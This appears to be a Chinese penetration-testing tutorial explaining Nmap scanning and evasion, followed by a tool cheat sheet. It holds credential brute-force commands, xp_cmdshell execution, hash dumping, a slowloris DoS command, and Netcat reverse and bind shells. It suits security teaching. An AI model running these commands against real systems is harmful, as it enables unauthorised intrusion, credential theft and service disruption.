        nmap -p 445 -n --script=smb-os-discovery  --script-args 'smbuser=administrator,smbpass=fuckyou' 192.168.1.169
    猜解mssql用户名和密码
        nmap -p1433 --script=ms-sql-brute --script-args=userdb=/var/passwd,passdb=/var/passwd 192.168.1.169
    xp_cmdshell 执行命令
        nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="net user" 192.168.1.169
    dumphash值
        nmap -p 1433 --script ms-sql-dump-hashes --script-args mssql.username=sa,mssql.password=sa 192.168.1.169
    扫描root空口令
        nmap -p3306 --script=mysql-empty-password 192.168.1.169    
    列出所有mysql用户
        nmap -p3306 --script=mysql-users --script-args=mysqluser=root 192.168.1.169    
    支持同一应用的所有脚本扫描
        nmap --script=mysql-* 192.168.1.169    
    oracle sid扫描
        nmap --script=oracle-sid-brute -p 1521-1560 192.168.1.5
    oracle弱口令破解
        nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL,userdb=/var/passwd,passdb=/var/passwd 192.168.1.5

    其他一些比较好用的脚本
        nmap --script=broadcast-netbios-master-browser 192.168.137.4   
        发现网关  nmap -p 873 --script rsync-brute --script-args 'rsync-brute.module=www' 192.168.137.4  
        破解rsync  nmap --script informix-brute -p 9088 192.168.137.4    informix
        数据库破解  nmap -p 5432 --script pgsql-brute 192.168.137.4       
        pgsql破解  nmap -sU --script snmp-brute 192.168.137.4            
        snmp破解  nmap -sV --script=telnet-brute 192.168.137.4          
        telnet破解  nmap --script=http-vuln-cve2010-0738 --script-args 'http-vuln-cve2010-0738.paths={/path1/,/path2/}'   
        jboss autopwn  nmap --script=http-methods.nse 192.168.137.4 
        检查http方法  nmap --script http-slowloris --max-parallelism 400 192.168.137.4      
        dos攻击,对于处理能力较小的站点还挺好用的 'half-HTTP' connections   
        nmap --script=samba-vuln-cve-2012-1182  -p 139 192.168.137.4    

    4、Zenmap 的使用

    Nmap 扫描原理与用法:https://blog.csdn.net/aspirationflow/article/details/7694274

    Zenmap 是 Nmap 官方提供的图形界面,随 Nmap 的安装包发布。能够运行在不同操作系统平台上(Windows/Linux/Unix/Mac OS等)。Zenmap 旨在为 nmap 提供更加简单的操作方式。简单常用的操作命令可以保存成为 profile,用户扫描时选择 profile 即可;可以方便地比较不同的扫描结果;提供网络拓扑结构(NetworkTopology)的图形显示功能。

    • 配置:用于选择 "Zenmap提供的默认扫描配置" 或 "用户创建的扫描配置"。
    • 命令:显示选择的 "扫描配置"。
    • 拓扑:显示扫描到的目标机与本机之间的拓扑结构。

    功能架构图

    Nmap 包含四项基本功能:

    1. 主机发现(Host Discovery)
    2. 端口扫描(Port Scanning)
    3. 版本侦测(Version Detection)
    4. 操作系统侦测(Operating System Detection)

    而这四项功能之间,又存在大致的依赖关系(通常情况下的顺序关系,但特殊应用另外考虑),首先需要进行主机发现,随后确定端口状况,然后确定端口上运行具体应用程序与版本信息,然后可以进行操作系统的侦测。而在四项基本功能的基础上,Nmap提供防火墙与IDS(IntrusionDetection System,入侵检测系统)的规避技巧,可以综合应用到四个基本功能的各个阶段;另外Nmap提供强大的NSE(Nmap Scripting Language)脚本引擎功能,脚本可以对基本功能进行补充和扩展。

    Nmap 基本使用

    直接对 IP地址 或 域名 进行 主机发现过程和端口扫描。该方式执行迅速,可以用于确定端口的开放状况。

    端口扫描

    命令:nmap www.fi11sm31.com

    完整全面的扫描

    完整全面的扫描可以使用  -A 参数,该参数对目标主机进行主机发现、端口扫描、应用程序与版本侦测、操作系统侦测及调用默认NSE脚本扫描。

    命令:nmap -T4 -A -vv www.fi11sm31.com

    • -A 参数用于使用进攻性(Aggressive)方式扫描;
    • -T4 指定扫描过程使用的时序(Timing),总有6个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通讯状况良好的情况推荐使用T4;
    • -v 表示显示冗余(verbosity)信息,在扫描过程中显示扫描的细节,从而了解当前的扫描状态。

    主机发现

    主机发现(Host Discovery),即用于发现目标主机是否在线(Alive,处于开启状态)。

    主机发现原理

    主机发现发现的原理与 Ping 命令类似,发送探测包到目标主机,如果收到回复,那么说明目标主机是开启的。Nmap 支持十多种不同的主机探测方式,比如发送 ICMP ECHO/TIMESTAMP/NETMASK 报文、发送 TCP SYN/ACK 包、发送 SCTP INIT/COOKIE-ECHO包,用户可以在不同的条件下灵活选用不同的方式来探测目标机。

    主机发现基本原理:(以ICMP echo方式为例)

    Nmap 的用户位于源端,IP地址192.168.0.5,向目标主机192.168.0.3发送ICMP Echo Request。如果该请求报文没有被防火墙拦截掉,那么目标机会回复ICMP Echo Reply包回来。以此来确定目标主机是否在线。

    默认情况下,Nmap 会发送四种不同类型的数据包来探测目标主机是否在线。

    • 1. ICMP echo request
    • 2. a TCP SYN packet to port 443
    • 3. a TCP ACK packet to port 80
    • 4. an ICMP timestamp request

    依次发送四个报文探测目标机是否开启。只要收到其中一个包的回复,那就证明目标机开启。使用四种不同类型的数据包可以避免因防火墙或丢包造成的判断错误。

    主机发现的用法

    通常主机发现并不单独使用,而只是作为端口扫描、版本侦测、OS侦测先行步骤。而在某些特殊应用(例如确定大型局域网内活动主机的数量),可能会单独专门适用主机发现功能来完成。

    不管是作为辅助用法还是专门用途,用户都可以使用Nmap提供的丰富的选项来定制主机发现的探测方式。

    -sL:             列表扫描,仅将指定的目标的IP列举出来,不进行主机发现。
    -sP:             Ping 扫描,只进行主机发现,不进行端口扫描。
    -Pn:            将所有指定的主机视作开启的,跳过主机发现的过程。
    -PS/PA/PU/PY[portlist]:   使用TCP SYN/ACK 或 SCTP INIT/ECHO 方式进行发现。
    -PE/PP/PM:                使用 ICMP echo, timestamp, and netmask 请求包发现主机。
    -PO[protocollist]:        使用 IP 协议包探测对方主机是否开启。
    -n/-R:         -n 表示不进行DNS解析;-R表示总是进行DNS解析。
    --dns-servers <serv1[,serv2],...>:    指定 DNS 服务器。
    --system-dns:    指定使用系统的DNS服务器
    --traceroute:    追踪每个路由节点

    其中,比较常用的使用

    • -sP,表示只单独进行主机发现过程;
    • -Pn 表示直接跳过主机发现而进行端口扫描等高级操作(如果已经确知目标主机已经开启,可用该选项);
    • -n 如果不想使用DNS或reverse DNS解析,那么可以使用该选项。

    示例命令:nmap -sP -PE -PS80,135 -PU53 scanme.nmap.org

    使用 Wireshark 抓包,我们看到,scanme.nmap.org 的IP地址182.140.147.57发送了四个探测包:ICMPEcho,80和135端口的TCP SYN包,53端口的UDP包(DNS domain)。而收到ICMP Echo的回复与80端口的回复。从而确定了scanme.nmap.org主机正常在线。

    探测局域网内活动主机

    扫描局域网 192.168.100.1 范围内哪些IP的主机是活动的。

    命令:nmap -sP 192.168.100.1/24

    在局域网内,Nmap 是通过 ARP 包来询问 IP 地址上的主机是否活动的,如果收到 ARP 回复包,那么说明主机在线。

    可以使用 wireshark 抓包,查看 ARP 报文

    端口扫描

    端口扫描是 Nmap 最基本最核心的功能,用于确定目标主机的 TCP/UDP 端口的开放情况。

    默认情况下,Nmap 会扫描 1000 个最有可能开放的 TCP 端口。

    Nmap 通过探测将端口划分为6个状态:

    1. open:端口是开放的。
    2. closed:端口是关闭的。
    3. filtered:端口被防火墙IDS/IPS屏蔽,无法确定其状态。
    4. unfiltered:端口没有被屏蔽,但是否开放需要进一步确定。
    5. open|filtered:端口是开放的或被屏蔽。
    6. closed|filtered :端口是关闭的或被屏蔽。

    端口扫描原理

    Nmap 在端口扫描方面非常强大,提供了十多种探测方式。

    TCP SYN scanning。这是Nmap默认的扫描方式,通常被称作半开放扫描(Half-open scanning)。该方式发送SYN到目标端口,如果收到SYN/ACK回复,那么判断端口是开放的;如果收到RST包,说明该端口是关闭的。如果没有收到回复,那么判断该端口被屏蔽(Filtered)。因为该方式仅发送SYN包对目标主机的特定端口,但不建立的完整的TCP连接,所以相对比较隐蔽,而且效率比较高,适用范围广。

    TCP connect scanning。TCP connect 方式使用系统网络 API connect 向目标主机的端口发起连接,如果无法连接,说明该端口关闭。该方式扫描速度比较慢,而且由于建立完整的TCP连接会在目标机上留下记录信息,不够隐蔽。所以不常用。

    TCP ACK scanning。向目标主机的端口发送ACK包,如果收到RST包,说明该端口没有被防火墙屏蔽;没有收到RST包,说明被屏蔽。该方式只能用于确定防火墙是否屏蔽某个端口,可以辅助TCP SYN的方式来判断目标主机防火墙的状况。

    TCP FIN / Xmas / NULL scanning。这三种扫描方式被称为秘密扫描(Stealthy Scan),因为相对比较隐蔽。FIN扫描向目标主机的端口发送的TCP FIN包或Xmas tree包/Null包,如果收到对方RST回复包,那么说明该端口是关闭的;没有收到RST包说明端口可能是开放的或被屏蔽的(open|filtered)。其中 Xmas tree 包是指 flags 中 FIN URG PUSH 被置为1的TCP包;NULL包是指所有flags都为0的TCP包。

    UDP scanning。UDP扫描方式用于判断UDP端口的情况。向目标主机的UDP端口发送探测包,如果收到回复“ICMP port unreachable”就说明该端口是关闭的;如果没有收到回复,那说明UDP端口可能是开放的或屏蔽的。因此,通过反向排除法的方式来断定哪些UDP端口是可能出于开放状态。

    其他方式。除上述几种常用的方式之外,Nmap还支持多种其他探测方式。例如使用SCTP INIT/COOKIE-ECHO方式来探测SCTP的端口开放情况;使用IP protocol方式来探测目标主机支持的协议类型(TCP/UDP/ICMP/SCTP等等);使用idle scan方式借助僵尸主机(zombie host,也被称为idle host,该主机处于空闲状态并且它的IPID方式为递增。详细实现原理参见:http://nmap.org/book/idlescan.html)来扫描目标在主机,达到隐蔽自己的目的;或者使用FTP bounce scan,借助FTP允许的代理服务扫描其他的主机,同样达到隐藏自己的身份的目的。

    端口扫描用法

    Nmap提供丰富的命令行参数来指定扫描方式和扫描端口。

    扫描方式选项
      -sS/sT/sA/sW/sM: 指定使用 TCP SYN/Connect()/ACK/Window/Maimon 方式对目标主机进行扫描。
      -sU: 使用UDP扫描方式确定目标主机的UDP端口状况。
      -sN/sF/sX: 指定使用TCP Null, FIN, and Xmas scans秘密扫描方式来协助探测对方的TCP端口状态。
      --scanflags <flags>: 定制TCP包的flags。
      -sI <zombiehost[:probeport]>: 指定使用idle scan方式来扫描目标主机(前提需要找到合适的zombie host)
      -sY/sZ: 使用SCTP INIT/COOKIE-ECHO来扫描SCTP协议端口的开放的情况。
      -sO: 使用IP protocol 扫描确定目标机支持的协议类型。
      -b <FTP relay host>: 使用FTP bounce scan扫描方式

    端口参数与扫描顺序

    • -p <port ranges>: 扫描指定的端口。
      实例: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9(其中T代表TCP协议、U代表UDP协议、S代表SCTP协议)
    • -F: 快速模式,仅扫描 TOP 100 的端口
    • -r:不进行端口随机打乱的操作(如无该参数,nmap会将要扫描的端口以随机顺序方式扫描,以让nmap的扫描不易被对方防火墙检测到)。
    • --top-ports <number>:扫描开放概率最高的number个端口(nmap的作者曾经做过大规模地互联网扫描,以此统计出网络上各种端口可能开放的概率。以此排列出最有可能开放端口的列表,具体可以参见文件:nmap-services。默认情况下,nmap会扫描最有可能的1000个TCP端口)
    • --port-ratio <ratio>: 扫描指定频率以上的端口。与上述--top-ports类似,这里以概率作为参数,让概率大于--port-ratio的端口才被扫描。显然参数必须在在0到1之间,具体范围概率情况可以查看nmap-services文件。

    端口扫描 示例

    扫描局域网内 192.168.100.2 主机为例。
    命令:nmap -sS -sU -T4 -top-ports 300 192.168.100.2

    • -sS 表示使用TCP SYN方式扫描TCP端口;
    • -sU 表示扫描UDP端口;
    • -T4 表示时间级别配置4级;
    • --top-ports 300 表示扫描最有可能开放的300个端口(TCP和UDP分别有300个端口)。

    扫描网络主机:nmap -sS -sU -T4 -top-ports 300 www.fi11sm31.com

    端口运行程序 的 版本侦测

    版本侦测,用于确定目标主机开放端口上运行的具体的应用程序及版本信息。

    Nmap提供的版本侦测具有如下的优点:

    • 高速。并行地进行套接字操作,实现一组高效的探测匹配定义语法。
    • 尽可能地确定应用名字与版本名字。
    • 支持TCP/UDP协议,支持文本格式与二进制格式。
    • 支持多种平台服务的侦测,包括Linux/Windows/Mac OS/FreeBSD等系统。
    • 如果检测到SSL,会调用openSSL继续侦测运行在SSL上的具体协议(如HTTPS/POP3S/IMAPS)。
    • 如果检测到SunRPC服务,那么会调用brute-force RPC grinder进一步确定RPC程序编号、名字、版本号。
    • 支持完整的IPv6功能,包括TCP/UDP,基于TCP的SSL。
    • 通用平台枚举功能(CPE)
    • 广泛的应用程序数据库(nmap-services-probes)。目前Nmap可以识别几千种服务的签名,包含了180多种不同的协议。

    版本侦测原理

    简要的介绍版本的侦测原理。版本侦测主要分为以下几个步骤:

    1. 首先检查open与open|filtered状态的端口是否在排除端口列表内。如果在排除列表,将该端口剔除。
    2. 如果是TCP端口,尝试建立TCP连接。尝试等待片刻(通常6秒或更多,具体时间可以查询文件nmap-services-probes中Probe TCP NULL q||对应的totalwaitms)。通常在等待时间内,会接收到目标机发送的“WelcomeBanner”信息。nmap将接收到的Banner与nmap-services-probes中NULL probe中的签名进行对比。查找对应应用程序的名字与版本信息。
    3. 如果通过“Welcome Banner”无法确定应用程序版本,那么nmap再尝试发送其他的探测包(即从nmap-services-probes中挑选合适的probe),将probe得到回复包与数据库中的签名进行对比。如果反复探测都无法得出具体应用,那么打印出应用返回报文,让用户自行进一步判定。
    4. 如果是UDP端口,那么直接使用nmap-services-probes中探测包进行探测匹配。根据结果对比分析出UDP应用服务类型。
    5. 如果探测到应用程序是SSL,那么调用openSSL进一步的侦查运行在SSL之上的具体的应用类型。
    6. 如果探测到应用程序是SunRPC,那么调用brute-force RPC grinder进一步探测具体服务。

    版本侦测的用法

    版本侦测方面的命令行选项比较简单。

    -sV: 指定让Nmap进行版本侦测
    --version-intensity <level>: 指定版本侦测强度(0-9),默认为7。数值越高,探测出的服务越准确,但是运行时间会比较长。

    --version-light: 指定使用轻量侦测方式 (intensity 2)
    --version-all:   尝试使用所有的probes进行侦测 (intensity 9)
    --version-trace: 显示出详细的版本侦测过程信息。

    版本侦测演示

    命令:nmap -sV www.fi11sm31.com

    目标主机 的 OS 侦测

    操作系统侦测用于检测目标主机运行的操作系统类型及设备类型等信息。

    Nmap 拥有丰富的系统数据库nmap-os-db,目前可以识别2600多种操作系统与设备类型。

    OS 侦测原理

    Nmap使用TCP/IP协议栈指纹来识别不同的操作系统和设备。在RFC规范中,有些地方对TCP/IP的实现并没有强制规定,由此不同的TCP/IP方案中可能都有自己的特定方式。Nmap主要是根据这些细节上的差异来判断操作系统的类型的。

    具体实现方式如下:

    1. Nmap内部包含了2600多已知系统的指纹特征(在文件nmap-os-db文件中)。将此指纹数据库作为进行指纹对比的样本库。
    2. 分别挑选一个open和closed的端口,向其发送经过精心设计的TCP/UDP/ICMP数据包,根据返回的数据包生成一份系统指纹。
    3. 将探测生成的指纹与nmap-os-db中指纹进行对比,查找匹配的系统。如果无法匹配,以概率形式列举出可能的系统。

    OS 侦测用法

    OS 侦测的用法简单,Nmap 提供的命令比较少。

    • -O: 指定Nmap进行OS侦测。指定 -O 选项后先进行主机发现与端口扫描,根据扫描到端口来进行进一步的OS侦测。获取的结果信息有设备类型,操作系统类型,操作系统的CPE描述,操作系统细节,网络距离等。
    • --osscan-limit: 限制Nmap只对确定的主机的进行OS探测(至少需确知该主机分别有一个open和closed的端口)。
    • --osscan-guess: 大胆猜测对方的主机的系统类型。由此准确性会下降不少,但会尽可能多为用户提供潜在的操作系统。

    OS侦测 示例

    命令:nmap -O 192.168.1.100

    Nmap 高级用法

    防火墙 / IDS 规避

    防火墙与IDS规避为用于绕开防火墙与IDS(入侵检测系统)的检测与屏蔽,以便能够更加详细地发现目标主机的状况。

    Nmap提供了多种规避技巧,通常可以从两个方面考虑规避方式:数据包的变换(Packet Change)与时序变换(Timing Change)。

    规避原理

    更多信息:http://nmap.org/book/man-bypass-firewalls-ids.html

    • 分片(Fragmentation):将可疑的探测包进行分片处理(例如将TCP包拆分成多个IP包发送过去),某些简单的防火墙为了加快处理速度可能不会进行重组检查,以此避开其检查。
    • IP诱骗(IP decoys):在进行扫描时,将真实IP地址和其他主机的IP地址(其他主机需要在线,否则目标主机将回复大量数据包到不存在的主机,从而实质构成了拒绝服务攻击)混合使用,以此让目标主机的防火墙或IDS追踪检查大量的不同IP地址的数据包,降低其追查到自身的概率。注意,某些高级的IDS系统通过统计分析仍然可以追踪出扫描者真实IP地址。
    • IP伪装(IP Spoofing):顾名思义,IP伪装即将自己发送的数据包中的IP地址伪装成其他主机的地址,从而目标机认为是其他主机在与之通信。需要注意,如果希望接收到目标主机的回复包,那么伪装的IP需要位于统一局域网内。另外,如果既希望隐蔽自己的IP地址,又希望收到目标主机的回复包,那么可以尝试使用idle scan或匿名代理(如TOR)等网络技术。
    • 指定源端口:某些目标主机只允许来自特定端口的数据包通过防火墙。例如FTP服务器配置为:允许源端口为21号的TCP包通过防火墙与FTP服务端通信,但是源端口为其他端口的数据包被屏蔽。所以,在此类情况下,可以指定Nmap将发送的数据包的源端口都设置特定的端口。
    • 扫描延时:某些防火墙针对发送过于频繁的数据包会进行严格的侦查,而且某些系统限制错误报文产生的频率(例如,Solaris 系统通常会限制每秒钟只能产生一个ICMP消息回复给UDP扫描),所以,定制该情况下发包的频率和发包延时可以降低目标主机的审查强度、节省网络带宽。
    • 其他技术:Nmap还提供多种规避技巧,比如指定使用某个网络接口来发送数据包、指定发送包的最小长度、指定发包的MTU、指定TTL、指定伪装的MAC地址、使用错误检查和(badchecksum)。

    规避用法

    -f; --mtu <val>: 指定使用分片、指定数据包的MTU.
    -D <decoy1,decoy2[,ME],...>: 用一组IP地址掩盖真实地址,其中ME填入自己的IP地址。
    -S <IP_Address>: 伪装成其他IP地址
    -e <iface>: 使用特定的网络接口
    -g/--source-port <portnum>: 使用指定源端口
    --data-length <num>: 填充随机数据让数据包长度达到Num。
    --ip-options <options>: 使用指定的IP选项来发送数据包。
    --ttl <val>: 设置time-to-live时间。
    --spoof-mac <mac address/prefix/vendor name>: 伪装MAC地址
    --badsum: 使用错误的checksum来发送数据包(正常情况下,该类数据包被抛弃,如果收到回复,说明回复来自防火墙或IDS/IPS)。

    判断防火墙的扫描
    nmap -sF IP
    nmap -sA IP
    nmap -sW IP   //ACK, 探测防火墙扫描

    规避演示

    命令:nmap -v -F -Pn -D192.168.1.100,192.168.1.102,ME -e eth0 -g 3355 192.168.1.1

    • -F 表示快速扫描100个端口;
    • -Pn 表示不进行Ping扫描;
    • -D 表示使用 IP 诱骗方式掩盖自己真实IP(其中ME表示自己IP);
    • -e eth0表示使用 eth0 网卡发送该数据包;
    • -g 3355表示自己的源端口使用3355;
    • 192.168.1.1 是被扫描的目标IP地址。

    NSE 脚本引擎

    NSE 脚本引擎(Nmap Scripting Engine)是 Nmap 最强大最灵活的功能之一,允许用户自己编写脚本来执行自动化的操作或者扩展Nmap的功能。

    NSE 使用 Lua 脚本语言,并且默认提供了丰富的脚本库,目前已经包含14个类别的350多个脚本。NSE的设计初衷主要考虑以下几个方面:

    • 网络发现(Network Discovery)
    • 更加复杂的版本侦测(例如skype软件)
    • 漏洞侦测(Vulnerability Detection)
    • 后门侦测(Backdoor Detection)
    • 漏洞利用(Vulnerability Exploitation)

    NSE 创建脚本方法

    下面以 daytime.nse 脚本为例说明一下NSE格式。

    NSE的使用Lua脚本,并且配置固定格式,以减轻用户编程负担。通常的一个脚本分为几个部分:

    • description 字段:描述脚本功能的字符串,使用双层方括号表示。
    • comment 字段:以--开头的行,描述脚本输出格式
    • author 字段:描述脚本作者
    • license 字段:描述脚本使用许可证,通常配置为Nmap相同的license
    • categories 字段:描述脚本所属的类别,以对脚本的调用进行管理。
    • rule字段:描述脚本执行的规则,也就是确定触发脚本执行的条件。在Nmap中有四种类型的规则,prerule用于在Nmap没有执行扫描之前触发脚本执行,这类脚本并不需用到任何Nmap扫描的结果;hostrule用在Nmap执行完毕主机发现后触发的脚本,根据主机发现的结果来触发该类脚本;portrule用于Nmap执行端口扫描或版本侦测时触发的脚本,例如检测到某个端口时触发某个脚本执行以完成更详细的侦查。postrule用于Nmap执行完毕所有的扫描后,通常用于扫描结果的数据提取和整理。在上述实例中,只有一个portrule,说明该脚本在执行端口扫描后,若检测到TCP 13号端口开放,那么触发该脚本的执行。
    • action字段:脚本执行的具体内容。当脚本通过rule字段的检查被触发执行时,就会调用action字段定义的函数。

    NSE 脚本用法

    Nmap提供不少脚本使用的命令行参数。

    -sC: 等价于 --script=default,使用默认类别的脚本进行扫描。
    --script=<Lua scripts>: <Lua scripts>使用某个或某类脚本进行扫描,支持通配符描述
    --script-args=<n1=v1,[n2=v2,...]>: 为脚本提供默认参数
    --script-args-file=filename: 使用文件来为脚本提供参数
    --script-trace: 显示脚本执行过程中发送与接收的数据
    --script-updatedb: 更新脚本数据库
    --script-help=<Lua scripts>: 显示脚本的帮助信息,其中<Luascripts>部分可以逗号分隔的文件或脚本类别。

    NSE 用法演示

    配合脚本扫描 192.168.1.1,查看能否获得有用的信息。

    命令:nmap -sV -p 80 -v --script default,http* 192.168.1.1

    Nmap 扫描到 80端口是开放的,然后使用了大量的名字为 http 开头的脚本对其进行扫描。

    5、渗透测试工具实战技巧合集

    ​原文地址:https://jivoi.github.io/2015/07/01/pentest-tips-and-tricks/

    超全渗透测试工具实战使用技巧合集

    适用所有大小网络最好的 nmap 扫描策略

    # 主机发现,生成存活主机列表
    $ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24
    $ grep "Status: Up" Discovery.gnmap | cut -f 2 -d' ' > LiveHosts.txt
     
    # 端口发现,发现大部分常用端口
    # http://nmap.org/presentations/BHDC08/bhdc08-slides-fyodor.pdf
    $ nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt
    $ nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt
    $ nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt
     
    # 端口发现,发现全部端口,但 UDP 端口的扫描会非常慢
    $ nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt
    $ nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt
     
    # 显示 TCP\UDP 端口
    grep "open" FullTCP|cut -f 1 -d' ' | sort -nu | cut -f 1 -d'/' |xargs | sed 's/ /,/g'|awk '{print "T:"$0}'
    grep "open" FullUDP|cut -f 1 -d' ' | sort -nu | cut -f 1 -d'/' |xargs | sed 's/ /,/g'|awk '{print "U:"$0}'

    # 侦测服务版本
    $ nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt
     
    # 扫做系统扫描
    $ nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt
     
    # 系统和服务检测
    $ nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt

    躲避防火墙

    # 分段
    nmap -f
     
    # 修改默认 MTU 大小,但必须为 8 的倍数(8,16,24,32 等等)
    nmap --mtu 24# 生成随机数量的欺骗
    nmap -D RND:10 [target]
     
    # 手动指定欺骗使用的 IP
    nmap -D decoy1,decoy2,decoy3 etc.
     
    # 僵尸网络扫描, 首先需要找到僵尸网络的IP
    nmap -sI [Zombie IP] [Target IP]
     
    # 指定源端口号
    nmap --source-port 80 IP
     
    # 在每个扫描数据包后追加随机数量的数据
    nmap --data-length 25 IP
     
    # MAC 地址欺骗,可以生成不同主机的 MAC 地址
    nmap --spoof-mac Dell/Apple/3Com IP

    进行 Web 漏洞扫描

    cd /usr/share/nmap/scripts/
    wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz
    tar -zxvf nmap_nse_vulscan-2.0.tar.gz
    nmap -sS -sV --script=vulscan/vulscan.nse target
    nmap -sS -sV --script=vulscan/vulscan.nse --script-args vulscandb=scipvuldb.csv target
    nmap -sS -sV --script=vulscan/vulscan.nse --script-args vulscandb=scipvuldb.csv -p80 target
    nmap -PN -sS -sV --script=vulscan --script-args vulscancorrelation=1 -p80 target
    nmap -sV --script=vuln target
    nmap -PN -sS -sV --script=all --script-args vulscancorrelation=1 target

    端口扫描

    1) 生成随机数量的欺骗
    2) 爆破
    3) 打包数据,就像原始的一个不扫描数据包
    4) nmap -sI [Zombie IP] [Target IP]僵尸网络扫描, 首先需要找到僵尸网络的IP
    5) nmap –source-port 53 target  指定源端口号
    nmap -sS -sV -D IP1,IP2,IP3,IP4,IP5 -f --mtu=24 --data-length=1337 -T2 target  //随机扫描形式差异IP
    nmap -Pn -T2 -sV --randomize-hosts IP1,IP2
    nmap --script smb-check-vulns.nse -p445 target (using NSE scripts)
    nmap -sU -P0 -T Aggressive -p123 target (Aggresive Scan T1-T5)
    nmap -sA -PN -sN target
    nmap -sS -sV -T5 -F -A -O target (version detection)
    nmap -sU -v target (Udp)
    nmap -sU -P0 (Udp)
    nmap -sC 192.168.31.10-12 (all scan default)

    使用 DIRB 爆破目录

    注:DIRB 是一个专门用于爆破目录的工具,在 Kali 中默认已经安装,类似工具还有国外的patator,dirsearch,DirBuster, 国内的御剑等等。

    使用方法:dirb 目标 字典路径

    dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt

    Patator --- 全能暴力破解测试工具

    # git clone https://github.com/lanjelot/patator.git /usr/share/patator
    # SMTP 爆破
    $ patator smtp_login host=192.168.17.129 user=Ololena password=FILE00=/usr/share/john/password.lst
    $ patator smtp_login host=192.168.17.129 user=FILE1 password=FILE00=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
    $ patator smtp_login host=192.168.17.129 helo='ehlo 192.168.17.128' user=FILE1 password=FILE00=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst
    $ patator smtp_login host=192.168.17.129 user=Ololena password=FILE00=/usr/share/john/password.lst -x ignore:fgrep='incorrect password or account name'

    使用 Fierce 爆破 DNS

    注:Fierce 会检查 DNS 服务器是否允许区域传送。如果允许,就会进行区域传送并通知用户,如果不允许,则可以通过查询 DNS 服务器枚举主机名。类似工具:subDomainsBrute 和 SubBrute 等等

    # http://ha.ckers.org/fierce/
    $ ./fierce.pl --dns example.com
    $ ./fierce.pl --dns example.com --wordlist myWordList.txt

    使用 Nikto 扫描 Web 服务

    Nikto 是一款开源的网页服务器扫描器,它可以对网页服务器进行全面的多种扫描,包含超过3300种有潜在危险的文件CGIs;超过625种服务器版本;超过230种特定服务器问题。

    // -C 指定CGI目录, all 表示猜解CGI目录, -h 指定目标
    nikto -C all -h http://IP

    扫描 WordPress

    WPScan 是 Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括WordPress本身的漏洞、插件漏洞和主题漏洞。

    git clone https://github.com/wpscanteam/wpscan.git
    cd wpscan
    ./wpscan --url http://IP/ --enumerate p

    HTTP 指纹识别

    Net-Square 的 Httprint 工具,是一个自动化的 http 指纹分析工具,带有可定制 web 服务器指纹数据库,运用统计学原理,组合逻辑学技术,可有效识别Http服务器的类型。

    wget http://www.net-square.com/_assets/httprint_linux_301.zip  // 下载
    unzip httprint_linux_301.zip    //解压
    cd httprint_301/linux/          //切换到指定目录
    // -h指定网站链接 -s 指定一个包含http签名的文件,默认就是signatures.txt
    ./httprint -h http://IP -s signatures.txt     

    使用 Skipfish 扫描

    注:Skipfish 是一款 Web 应用安全侦查工具,Skipfish 会利用递归爬虫和基于字典的探针生成一幅交互式网站地图,最终生成的地图会在通过安全检查后输出。

    skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP

    • 参数 -m 表示每个ip最大并发连接数。
    • 参数-L 不自动学习网站的新关键字。参数 -Y 不要模糊目录brute forc中的扩展。
    • 参数 -s 加载附加只读字典。
    • 参数 -o 将输出写入指定目录(必需)。

    使用 NC 扫描

    拓展学习:https://blog.csdn.net/xysoul/article/details/52270149

    nc -v -w 1 target -z 1-1000
    for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done

    Netcat 的一些用法

    c:> nc -l -p 31337     
    #nc 192.168.0.10 31337
    c:> nc -v -w 30 -p 31337 -l < secret.txt
    #nc -v -w 2 192.168.0.10 31337 > secret.txt

    用 NC 抓 banner
    nc 192.168.0.10 80
    GET / HTTP/1.1
    Host: 192.168.0.10
    User-Agent: Mozilla/4.0
    Referrer: www.example.com
    <enter>
    <enter>

    使用 NC 在 Windows 上反弹 shell
    c:>nc -Lp 31337 -vv -e cmd.exe
    nc 192.168.0.10 31337
    c:>nc example.com 80 -e cmd.exe
    nc -lp 80

    nc -lp 31337 -e /bin/bash
    nc 192.168.0.10 31337
    nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000

    Unicornscan

    Unicornscan是一款通过尝试连接用户系统(User-land)分布式TCP/IP堆栈获得信息和关联关系的端口扫描器。它主要功能包括带有所有TCP变种标记的异步无状态TCP扫描、异步无状态TCP标志捕获、通过分析反馈信息获取主动/被动远程操作系统、应用程序、组件信息。

    us -H -msf -Iv 192.168.56.101 -p 1-65535
    us -H -mU -Iv 192.168.56.101 -p 1-65535
    -H   在生成报告阶段解析主机名
    -m   扫描类型 (sf - tcp, U - udp)
    -Iv  详细

    使用 Xprobe2 识别操作系统指纹

    拓展学习:https://blog.csdn.net/qq_40633669/article/details/84656228

    xprobe2 -v -p tcp:80:open IP

    枚举 Samba

    拓展学习:https://blog.csdn.net/yexiangcsdn/article/details/82867469

    nmblookup -A target     
    smbclient //MOUNT/share -I target -N
    rpcclient -U "" target
    enum4linux target

    注:smbclient 命令属于 samba 套件。参数-I:指定服务器的IP地址。-N:不用询问密码。参数-u:指定用户名称。

    枚举 SNMP

    snmpget -v 1 -c public IP
    snmpwalk -v 1 -c public IP
    snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP

